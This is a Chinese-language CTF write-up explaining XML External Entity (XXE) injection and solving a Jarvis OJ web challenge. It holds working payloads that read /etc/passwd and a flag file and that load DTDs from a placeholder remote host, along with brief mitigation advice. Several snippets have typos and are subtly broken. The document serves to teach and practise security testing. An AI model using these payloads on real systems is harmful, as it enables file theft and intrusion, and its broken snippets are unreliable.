以jarvis oj api接口为例讲解xxe攻击
xml基本介绍
xml被设计来进行数据的传输以及数据储存。
xml文档结构包括:
其中xxe就是利用DTD中特意声明某种协议再用文档元素进行调用来实现攻击。
xml内外部元素
由于可以对DTD进行声明,我们有两种选择:
内部实体声明:
<!DOCTYPE note [<!ELEMENT noet (xxx)>]>
其中为根元素
<!ELEMENT note ()>为元素声明。
外部实体声明:
<!DOCTYPE note [<!ELEMENT note SYSTEM "协议"]
区别在于声明元素时调用了外部的东西和协议。
XML外部实体注入(xee)
三种恶意引入方式
注:xxe作用以及威胁十分巨大因为可以调用内部的一些协议,通常会造成任意文件读取、系统执行命令、探测内网端口、攻击网站等等;
一:直接内部文件引用
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
在调用调用中直接声明了file协议,直接读取内部的文件。由于xml服务器没有对他人的声明做限制,所以会造成如此。
二:调用外部设定文件
<?xml version ="1.0"?>
<!DOCTYPE a[
<!ENTITY %d SYSTEM "http://xxxx.com/xxx.dtd">
%d
]>
<a>&b;</a>
其中xxx.dtd中写入:
<!ENTITY b SYSTEM "file///etc/passwd"
也就是说我们可以用其他的协议来进行调用,算是变样绕过把。!!!有没有发现现在源文件写入调用的时候产生了变化,我们的调用写成了b,因为我们的调用随着文件的调用而产生。
三:调用外部设定文件2.0
<?xml version ="1.0"?>
<!DOCTYPE a[
<!ENTITY a SYSTEM "http://xxxx.com/xxx.dtd">
]>
<a>&b;</a>
可能有的xjlg发现了这里的设定调用的变相绕过,更有甚者可以参考下:
链接 // 凉白开师傅的微博23333
简单利用就这么多,一般变相调用也多不到哪去,另外就是基础利用了
xml漏洞特征
1.可以对其传入一个xml信息,如果后台开始了解析,那么基本可以确定这个战具有后台漏洞。
这就是建议的测试。,
漏洞利用实战
题目:
http://web.jarvisoj.com:9882/
进入可以看到一个简单的界面:
首先进行测试,保证了不是sql注入,这里提示了api接口,而且,你输入什么后台就会解析出什么,不觉的和上面的例子很像么。
这里先用bp抓包看看到底交互了一些什么东西。
不出所料还真是个xml的信息包,看一下回显:
就是返回了一个简单的输入又自己给加上了own;
下面我们就用刚学到的三种方式之一来进行构造攻击:
注意两点:1. 题目给了目录,我们直接构造file的目录就行。2.Content-Type没有写xml,要加上,不然后台不解析。
进行构造:
Content-Type:text/xml
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///home/ctf/flag.txt">
]>
<a>&b;</a>
利用成功:
比较简单的利用:
总结几点:
- 请求头的知识了解
- xml写法,不会的去看看:runoob.com
- XEE深度利用,综合利用,因为往往题目都是复合性的
- XXE漏洞的修复:直接禁用外部实体
libxml_disale_entity_loader(ture);
2.过滤用户关键字:SYSTEM ; PUBLIC;